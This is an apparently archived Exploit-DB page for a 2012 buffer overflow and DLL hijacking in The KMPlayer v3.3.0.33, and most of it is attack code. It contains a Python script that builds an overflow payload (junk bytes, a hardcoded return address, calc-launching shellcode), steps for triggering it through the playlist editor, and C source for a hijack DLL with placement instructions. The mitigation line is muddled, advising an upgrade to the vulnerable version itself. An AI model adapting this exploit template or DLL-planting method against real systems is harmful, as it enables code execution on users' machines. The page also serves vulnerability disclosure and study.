The KMPlayer v3.3.0.33 Multiple Vulnerabilities

vendor:

KMPlayer

by:

Mr.XHat

9,3

CVSS

HIGH

Buffer Overflow and DLL Hijacking

119, 427

CWE

Product Name: KMPlayer

Affected Version From: 3.3.0.33

Affected Version To: 3.3.0.33

Patch Exists: YES

Related CWE: N/A

CPE: a:kmplayer:kmplayer:3.3.0.33

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WinXP SP3 EN

2012

The KMPlayer v3.3.0.33 Multiple Vulnerabilities

A buffer overflow vulnerability exists in The KMPlayer v3.3.0.33 which can be exploited by malicious people to compromise a user's system. A DLL hijacking vulnerability is also present which can be exploited by malicious people to compromise a user's system. Successful exploitation of the buffer overflow vulnerability requires that a user is tricked into opening a specially crafted file. Successful exploitation of the DLL hijacking vulnerability requires that a user is tricked into running the application from a malicious directory.

Mitigation:

Upgrade to the latest version of The KMPlayer v3.3.0.33 or later.

Source

Exploit-DB raw data:

# Exploit Title: The KMPlayer v3.3.0.33 Multiple Vulnerabilities
# Date: October, 26, 2012
# Discovered By: Mr.XHat
# Exploit Author: Mr.XHat
# E-Mail: Mr.XHat {AT} Gmail.com
# Vendor: http://www.kmplayer.com/
# Version: 3.3.0.33
# Tested On: WinXP SP3 EN
#########################

# Buffer Overflow Vulnerability:

junk = "\x41" * 250
eip = "\xD7\x30\x9D\x7C"
shellcode = (
"\x31\xC9\x51\x68\x63\x61\x6C\x63"
"\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"
)
exploit = junk + eip + shellcode
file = open("Exploit.txt", "w")
file.write(exploit)
file.close()

# How To Do Exploit:
# First Run The KMPlayer And Get To Playlist > Playlist Editor... > Add New album Then Past Exploit Code To "Album Name:", Now Your Shellcode Will Executed!
############################################################################################################################################################

# DLL Hijacking Vulnerability:

# DLL Name: PProcDLL.DLL

# How To Do Hijack:
First Compile Below Source Code With C Compiler(s) And Rename Compiled DLL To PProcDLL.DLL Then Copy It To The KMPlayer Installed Path, Now If You Run The KMPlayer DLL Will Hijacked!

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
        dll_hijack();
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
int dll_hijack()
{
    MessageBox(0, "DLL Hijacked!", "Mr.XHat", MB_OK);
}
#

# Enjoys!